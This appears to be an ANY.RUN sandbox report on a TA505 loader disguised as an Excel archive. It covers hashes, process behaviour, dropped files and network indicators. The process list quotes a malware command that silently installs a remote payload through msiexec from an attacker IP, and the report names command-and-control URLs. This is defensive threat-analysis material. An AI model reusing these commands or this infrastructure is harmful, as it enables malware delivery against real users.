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File name:

ccd62c42c80689a5b3da7840f8770fffbfdbc8c0.xls.tar.gz

Full analysis: https://app.any.run/tasks/7a5b8d10-76b7-4e23-bcdd-f5a10a900267
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: March 21, 2019, 14:56:30
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exe-to-msi
loader
ta505
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

F5BDBA5417508F21B37E2DECE151CC21

SHA1:

A9384FB6ADC6FC64DCF081A4F9E8F907849C08FD

SHA256:

E1C5C24EDE6E36BC484D9B841BC956E64D79D59B4AD7B6710DBBED55347F68FB

SSDEEP:

1536:r50AFEhoidzopLjnsL492de6nKjqq3DyjJJQU91q:rCHL492deUq3sJXq

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 2308)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2308)
    • Application was dropped or rewritten from another process

      • nsD9EA.tmp (PID: 944)
    • Executes PowerShell scripts

      • cmd.exe (PID: 3896)
    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 4012)
    • Downloads executable files from IP

      • msiexec.exe (PID: 2616)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 2616)
  • SUSPICIOUS

    • Starts Microsoft Office Application

      • rundll32.exe (PID: 2232)
      • rundll32.exe (PID: 3320)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 2616)
      • MSID900.tmp (PID: 1952)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 2616)
    • Starts application with an unusual extension

      • MSID900.tmp (PID: 1952)
    • Starts CMD.EXE for commands execution

      • nsD9EA.tmp (PID: 944)
      • rundll32.exe (PID: 4012)
    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 1456)
    • Creates files in the user directory

      • powershell.exe (PID: 612)
    • Uses WHOAMI.EXE to obtaining logged on user information

      • cmd.exe (PID: 3256)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 888)
      • EXCEL.EXE (PID: 2308)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 888)
      • EXCEL.EXE (PID: 2308)
    • Modifies the open verb of a shell class

      • rundll32.exe (PID: 3320)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 2616)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 2616)
    • Application was dropped or rewritten from another process

      • MSID900.tmp (PID: 1952)
    • Loads dropped or rewritten executable

      • MSID900.tmp (PID: 1952)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0801
ZipCompression: Deflated
ZipModifyDate: 2019:03:21 09:53:15
ZipCRC: 0xa55885e0
ZipCompressedSize: 69897
ZipUncompressedSize: 99328
ZipFileName: ccd62c42c80689a5b3da7840f8770fffbfdbc8c0
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
54
Monitored processes
15
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winrar.exe no specs rundll32.exe no specs winword.exe no specs rundll32.exe no specs excel.exe no specs msiexec.exe no specs msiexec.exe msid900.tmp nsd9ea.tmp no specs cmd.exe no specs rundll32.exe cmd.exe no specs powershell.exe no specs cmd.exe no specs whoami.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1524"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\ccd62c42c80689a5b3da7840f8770fffbfdbc8c0.xls.tar.gz.zip"C:\Program Files\WinRAR\WinRAR.exeexplorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
2232"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\Desktop\ccd62c42c80689a5b3da7840f8770fffbfdbc8c0C:\Windows\system32\rundll32.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
888"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\ccd62c42c80689a5b3da7840f8770fffbfdbc8c0"C:\Program Files\Microsoft Office\Office14\WINWORD.EXErundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
3320"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\Desktop\ccd62c42c80689a5b3da7840f8770fffbfdbc8c0C:\Windows\system32\rundll32.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2308"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" "C:\Users\admin\Desktop\ccd62c42c80689a5b3da7840f8770fffbfdbc8c0"C:\Program Files\Microsoft Office\Office14\EXCEL.EXErundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
3084msiexec.exe RETURN=185 /i http://169.239.128.104/alg /q ksw='%TEMP%' C:\Windows\system32\msiexec.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2616C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
1952"C:\Windows\Installer\MSID900.tmp"C:\Windows\Installer\MSID900.tmp
msiexec.exe
User:
admin
Company:
hepsu burda
Integrity Level:
MEDIUM
Description:
hepsu burda Application
Version:
1.0.2.1
944"C:\Users\admin\AppData\Local\Temp\nsjD9E9.tmp\nsD9EA.tmp" "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Users\admin\AppData\Local\Temp\nsjD9E9.tmp\nsD9EA.tmpMSID900.tmp
User:
admin
Integrity Level:
MEDIUM
1456"cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\cmd.exensD9EA.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
3 003
Read events
2 549
Write events
0
Delete events
0

Modification events

No data
Executable files
6
Suspicious files
5
Text files
12
Unknown types
8

Dropped files

PID
Process
Filename
Type
1524WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb1524.23425\ccd62c42c80689a5b3da7840f8770fffbfdbc8c0
MD5:
SHA256:
888WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR1668.tmp.cvr
MD5:
SHA256:
888WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF0AEA934ED0124171.TMP
MD5:
SHA256:
888WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF2D9EF1E60077136F.TMP
MD5:
SHA256:
888WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF7D7789539F61B01E.TMP
MD5:
SHA256:
888WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0000.doc
MD5:
SHA256:
888WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRD0001.doc
MD5:
SHA256:
888WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{72A68B6F-8A19-4507-A983-4F4358136101}.tmp
MD5:
SHA256:
888WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{655ED4B3-F8CC-4016-A9CF-0C79B428CFC0}.tmp
MD5:
SHA256:
2308EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR9E65.tmp.cvr
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
3
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2616
msiexec.exe
GET
200
169.239.128.104:80
http://169.239.128.104/alg
ZA
executable
396 Kb
suspicious
POST
200
179.43.156.37:80
http://cdnavupdate.icu/jquery/jquery.php
CH
text
12 b
malicious
4012
rundll32.exe
POST
200
179.43.156.37:80
http://cdnavupdate.icu/jquery/jquery.php
CH
text
12 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
179.43.156.37:80
cdnavupdate.icu
Private Layer INC
CH
suspicious
2616
msiexec.exe
169.239.128.104:80
Zappie Host LLC
ZA
suspicious
4012
rundll32.exe
179.43.156.37:80
cdnavupdate.icu
Private Layer INC
CH
suspicious

DNS requests

Domain
IP
Reputation
cdnavupdate.icu
  • 179.43.156.37
malicious

Threats

PID
Process
Class
Message
2616
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
2616
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
2616
msiexec.exe
Generic Protocol Command Decode
SURICATA STREAM excessive retransmissions
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .icu Domain
4012
rundll32.exe
Potentially Bad Traffic
ET INFO HTTP POST Request to Suspicious *.icu domain
Potentially Bad Traffic
ET INFO HTTP POST Request to Suspicious *.icu domain
1 ETPRO signatures available at the full report
No debug info